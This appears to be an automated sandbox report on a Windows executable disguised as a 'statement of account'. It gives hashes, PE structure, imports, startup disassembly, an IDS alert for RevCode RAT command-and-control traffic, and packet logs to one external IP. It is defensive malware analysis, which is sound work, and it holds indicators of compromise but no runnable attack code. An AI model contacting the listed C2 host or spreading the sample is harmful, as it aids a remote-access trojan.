Process:	C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe
File Type:	HTML document, ASCII text, with very long lines, with no line terminators
Category:	modified
Size (bytes):	323
Entropy (8bit):	5.67064662832813
Encrypted:	false
SSDEEP:	6:iCR+LWXe0inLLWoSdXPWik/opSI68WxGR+LWXxuUr8JAXPWQyz/pqh8zWqf6WDZb:iCR+SO06iouX+ikwpSIZkGR+Shuy8Mub
MD5:	F4D62A12BE1CE8EFCCA77DE5B9E882AC
SHA1:	AF5A154F99D2E0E3E073D1A8875A4D35CF0E5380
SHA-256:	0C80CC47CA9285F74D516E023567F355DCBFA6C9ABE0529467D76BDF09615E5B
SHA-512:	D42C7E3BBE98F57485EC2D9F40F9D9B9E2160EB4C22FE0836E4CDAE2DE90295E5842E1000C831989A42B3B6F4F9047062C853CDC84035581B6F79F8965FDF2C9
Malicious:	false
Reputation:	low
Preview:	<block><date>GocEWkId9D56VwnsAcd2aVqFDMMDIAwADTBFhc8ZbUo=</date><title>hn3Va78RY6BG6E/YCqzwtQ==</title></block><block><data>2ZVzhOezKhmRShJAKl90ZQ==</data><date>GocEWkId9D56VwnsAcd2aYv8HxB7vaAavNYdZkQXU44=</date><title>tj3W/KJMbHwpfn/gshblmMG/aYgRzZqmKjtNG1mJYd1Uxik9z1VBJvyoiN+ae2S8SYK98QcFuzLbH750Y7s0Kg==</title></block>

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.974310738915072
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	STATEMENT OF ACCOUNT.exe
File size:	985692
MD5:	d39da4595ca51a748ac33447965d80e3
SHA1:	e7e0ec21e7cb1d67c906169e6e039d4b29c423c7
SHA256:	77732e74850050bb6f935945e510d32a0499d820fa1197752df8bd01c66e8210
SHA512:	620cf557f657213ff9f52b2939fdd689906f4b634a20210d3a6062802b25e30d3085c3b6bf0336c880fa8deedafc67f4daee2dd999f911d86184bda47d3ba178
SSDEEP:	24576:0FsVd+29QFw53L5o3DVUYR35Xc32WBjshPQ:0FsqtFwaFi3JX
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......a............................/.............@..........................`............@.................................8#.....

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x40152f
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x6111D3FB [Tue Aug 10 01:18:51 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	f6b61b8e7cfb6c1ac49476384f4084e5

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push FFFFFFFFh
push 004022E0h
push 004016E8h
mov eax, dword ptr fs:[00000000h]
push eax
mov dword ptr fs:[00000000h], esp
sub esp, 68h
push ebx
push esi
push edi
mov dword ptr [ebp-18h], esp
xor ebx, ebx
mov dword ptr [ebp-04h], ebx
push 00000002h
pop edi
push edi
call dword ptr [00402534h]
pop ecx
or dword ptr [0040327Ch], FFFFFFFFh
or dword ptr [00403278h], FFFFFFFFh
call dword ptr [00402530h]
mov ecx, dword ptr [00403274h]
mov dword ptr [eax], ecx
call dword ptr [0040252Ch]
mov ecx, dword ptr [00403270h]
mov dword ptr [eax], ecx
mov eax, dword ptr [00402540h]
mov eax, dword ptr [eax]
mov dword ptr [0040326Ch], eax
call 00007F9658F67F4Eh
cmp dword ptr [00403034h], ebx
jne 00007F9658F67E2Eh
push 004016C6h
call dword ptr [00402538h]
pop ecx
call 00007F9658F67F20h
push 0040304Ch
push 00403048h
call 00007F9658F67F3Fh
mov eax, dword ptr [00403268h]
mov dword ptr [ebp-6Ch], eax
lea eax, dword ptr [ebp-6Ch]
push eax
push dword ptr [00403264h]
lea eax, dword ptr [ebp-64h]
push eax
lea eax, dword ptr [ebp-70h]
push eax
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [0040253Ch]
push 00403044h
push 00403040h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2338	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x260	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5000	0xf0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x24a0	0xc8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6f4	0x800	False	0.55859375	data	5.44653083895	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x2000	0x831	0xa00	False	0.521484375	DOS executable (COM)	5.06526099863	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3000	0x280	0x200	False	0.09765625	data	0.631555223721	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x4000	0x260	0x400	False	0.3291015625	data	3.64296418983	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x5000	0xf0	0x200	False	0.484375	data	3.27904640372	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_MANIFEST	0x4060	0x1fb	XML 1.0 document, UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	CloseHandle, CreateFileMappingW, CreateFileW, GetCommandLineW, GetFileSize, GetFullPathNameW, GetModuleHandleW, GetStartupInfoW, GetUserDefaultLCID, MapViewOfFile, MultiByteToWideChar, UnmapViewOfFile, VirtualProtect, lstrcatW, lstrcmpW
USER32.dll	GetDC, GrayStringW
SHELL32.dll	CommandLineToArgvW
ADVAPI32.dll	RegCloseKey, RegOpenKeyW, RegQueryValueW
ole32.dll	CLSIDFromProgID, CoCreateInstance, CoInitialize, CoUninitialize
OLEAUT32.dll	LoadTypeLib, SysAllocStringLen, SysFreeString
MSVCRT.dll	_XcptFilter, __p__commode, __p__fmode, __set_app_type, __setusermatherr, __wgetmainargs, _adjust_fdiv, _controlfp, _except_handler3, _exit, _initterm, _wcmdln, exit, memcpy, wcsrchr

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
08/10/21-15:16:37.209440	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.4
08/10/21-15:16:37.209462	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.4
08/10/21-15:16:37.209472	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.4
08/10/21-15:16:40.345288	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.4
08/10/21-15:16:43.545256	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.4
08/10/21-15:17:02.393239	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.4
08/10/21-15:17:02.393276	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.4
08/10/21-15:17:02.393322	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.4
08/10/21-15:17:05.593344	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.4
08/10/21-15:17:08.861274	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.4
08/10/21-15:17:17.397212	UDP	2032361	ET TROJAN WebMonitor/RevCode RAT CnC Domain in DNS Lookup	62833	53	192.168.2.4	8.8.8.8

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 10, 2021 15:17:17.494633913 CEST	49764	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:17.539891958 CEST	443	49764	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:17.541085005 CEST	49764	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:17.562841892 CEST	49764	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:17.634181976 CEST	443	49764	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:17.650547028 CEST	443	49764	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:17.650571108 CEST	443	49764	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:17.650726080 CEST	49764	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:18.991430998 CEST	49764	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:19.097688913 CEST	443	49764	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:19.097795963 CEST	49764	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:19.103961945 CEST	49764	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:19.228029966 CEST	443	49764	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:19.449925900 CEST	443	49764	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:19.452169895 CEST	49764	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:19.906825066 CEST	49766	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.008568048 CEST	443	49766	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:20.011413097 CEST	49766	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.013823986 CEST	49766	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.085320950 CEST	443	49766	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:20.113594055 CEST	443	49766	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:20.114073992 CEST	49766	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.114682913 CEST	49766	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.175448895 CEST	49766	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.220021963 CEST	443	49766	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:20.220496893 CEST	443	49766	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:20.394516945 CEST	443	49766	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:20.395406008 CEST	49766	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.405283928 CEST	49764	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.407104015 CEST	49767	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.456532955 CEST	443	49764	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:20.456661940 CEST	49764	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.458693027 CEST	443	49767	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:20.458825111 CEST	49767	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.459428072 CEST	49767	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.495170116 CEST	443	49767	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:20.496840000 CEST	443	49767	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:20.496925116 CEST	49767	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.497664928 CEST	49767	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.504818916 CEST	49767	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.592267036 CEST	443	49767	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:20.603533030 CEST	443	49767	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:20.919975996 CEST	443	49767	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:20.923350096 CEST	49767	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.925745964 CEST	49766	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.926971912 CEST	49768	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.927139044 CEST	49767	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.928384066 CEST	49769	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.952198982 CEST	443	49768	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:20.952318907 CEST	49768	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.952902079 CEST	443	49769	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:20.952950001 CEST	49768	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.952994108 CEST	49769	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.953551054 CEST	49769	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.974189043 CEST	443	49766	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:20.974280119 CEST	49766	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.974468946 CEST	443	49767	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:20.974545002 CEST	49767	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:20.978280067 CEST	443	49769	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:20.978322029 CEST	443	49768	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:21.049245119 CEST	443	49768	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:21.049464941 CEST	49768	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:21.049962044 CEST	443	49769	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:21.050043106 CEST	49768	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:21.050066948 CEST	49769	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:21.050507069 CEST	49769	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:21.055600882 CEST	49769	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:21.055775881 CEST	49768	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:21.081039906 CEST	443	49768	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:21.085179090 CEST	443	49769	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:21.085407019 CEST	443	49768	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:21.085685015 CEST	443	49769	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:21.433374882 CEST	443	49768	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:21.433516026 CEST	49768	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:21.502721071 CEST	443	49769	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:21.502906084 CEST	49769	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:22.935321093 CEST	49768	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:22.985918045 CEST	443	49768	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:22.986016989 CEST	49768	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:23.022991896 CEST	49773	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:23.068041086 CEST	443	49773	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:23.068180084 CEST	49773	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:23.068995953 CEST	49773	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:23.093990088 CEST	443	49773	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:23.094465971 CEST	443	49773	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:23.094527006 CEST	49773	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:23.095412970 CEST	49773	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:23.099982977 CEST	49773	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:23.150857925 CEST	443	49773	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:23.323457956 CEST	443	49773	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:23.325604916 CEST	49773	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:25.339270115 CEST	49769	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:25.340598106 CEST	49775	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:25.365581036 CEST	443	49775	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:25.365782022 CEST	49775	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:25.366375923 CEST	49775	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:25.371489048 CEST	443	49769	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:25.371629953 CEST	49769	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:25.395432949 CEST	443	49775	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:25.396007061 CEST	443	49775	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:25.396104097 CEST	49775	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:25.406090021 CEST	49775	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:25.411680937 CEST	49775	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:25.606332064 CEST	443	49775	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:25.606455088 CEST	49775	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:27.621131897 CEST	49773	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:27.622972965 CEST	49776	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:27.671050072 CEST	443	49776	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:27.672066927 CEST	49776	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:27.672971010 CEST	49776	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:27.677954912 CEST	443	49773	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:27.680362940 CEST	49773	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:27.698272943 CEST	443	49776	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:27.755574942 CEST	443	49776	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:27.756052017 CEST	49776	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:27.756567955 CEST	49776	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:27.762193918 CEST	49776	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:27.794812918 CEST	443	49776	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:27.813254118 CEST	443	49776	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:28.138219118 CEST	443	49776	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:28.138391018 CEST	49776	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:30.152173042 CEST	49775	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:30.153776884 CEST	49777	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:30.223479033 CEST	443	49775	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:30.223526001 CEST	443	49777	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:30.223752022 CEST	49775	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:30.223964930 CEST	49777	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:30.225207090 CEST	49777	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:30.271064043 CEST	443	49777	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:30.271229982 CEST	443	49777	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:30.271368027 CEST	49777	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:30.271981001 CEST	49777	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:30.276595116 CEST	49777	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:30.372824907 CEST	443	49777	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:30.547274113 CEST	443	49777	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:30.547451019 CEST	49777	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:32.560194016 CEST	49776	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:32.561955929 CEST	49778	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:32.651774883 CEST	443	49778	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:32.651878119 CEST	49778	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:32.652684927 CEST	49778	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:32.670114040 CEST	443	49776	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:32.670203924 CEST	49776	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:32.682780027 CEST	443	49778	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:32.727977991 CEST	443	49778	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:32.728125095 CEST	49778	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:32.770824909 CEST	49778	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:32.789163113 CEST	49778	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:32.795269966 CEST	443	49778	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:32.823272943 CEST	443	49778	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:33.019330978 CEST	443	49778	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:33.023438931 CEST	49778	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:35.570266008 CEST	49777	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:35.571877956 CEST	49779	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:35.626669884 CEST	443	49779	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:35.627057076 CEST	49779	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:35.631228924 CEST	49779	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:35.655445099 CEST	443	49779	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:35.668545961 CEST	443	49777	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:35.671215057 CEST	443	49777	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:35.672040939 CEST	49777	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:35.786745071 CEST	443	49779	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:35.786839962 CEST	49779	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:35.788655043 CEST	49779	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:35.793909073 CEST	49779	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:35.812510967 CEST	443	49779	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:35.851070881 CEST	443	49779	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:36.233119011 CEST	443	49779	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:36.233225107 CEST	49779	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:38.245569944 CEST	49778	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:38.247478008 CEST	49780	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:38.301107883 CEST	443	49780	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:38.301450014 CEST	49780	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:38.302521944 CEST	49780	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:38.332479954 CEST	443	49780	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:38.343656063 CEST	443	49778	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:38.346131086 CEST	443	49778	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:38.347476006 CEST	49778	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:38.558501959 CEST	443	49780	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:38.558855057 CEST	49780	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:38.559969902 CEST	49780	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:38.568059921 CEST	49780	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:38.589648008 CEST	443	49780	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:38.593673944 CEST	443	49780	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:38.836759090 CEST	443	49780	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:38.836909056 CEST	49780	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:40.854824066 CEST	49779	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:40.856642962 CEST	49781	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:40.883189917 CEST	443	49781	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:40.883358955 CEST	49781	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:40.884164095 CEST	49781	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:40.888246059 CEST	443	49779	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:40.888344049 CEST	49779	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:40.910717964 CEST	443	49781	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:41.081449986 CEST	443	49781	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:41.081700087 CEST	49781	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:41.082300901 CEST	49781	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:41.085921049 CEST	49781	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:41.112082005 CEST	443	49781	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:41.116561890 CEST	443	49781	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:41.373914957 CEST	443	49781	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:41.374032974 CEST	49781	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:43.391746998 CEST	49780	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:43.393526077 CEST	49782	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:43.466728926 CEST	443	49780	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:43.466994047 CEST	49780	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:43.467895031 CEST	443	49782	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:43.469305992 CEST	49782	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:43.469444990 CEST	49782	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:43.543313026 CEST	443	49782	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:43.543874025 CEST	443	49782	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:43.543981075 CEST	49782	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:43.544699907 CEST	49782	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:43.550255060 CEST	49782	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:43.602943897 CEST	443	49782	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:43.894073963 CEST	443	49782	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:43.894599915 CEST	49782	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:45.905822992 CEST	49781	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:45.907677889 CEST	49783	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:46.002849102 CEST	443	49783	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:46.002996922 CEST	49783	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:46.003592968 CEST	49783	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:46.039983988 CEST	443	49781	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:46.050668955 CEST	443	49781	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:46.050755978 CEST	49781	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:46.094861031 CEST	443	49783	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:46.256531000 CEST	443	49783	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:46.257400036 CEST	49783	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:46.259171963 CEST	49783	443	192.168.2.4	45.153.186.90
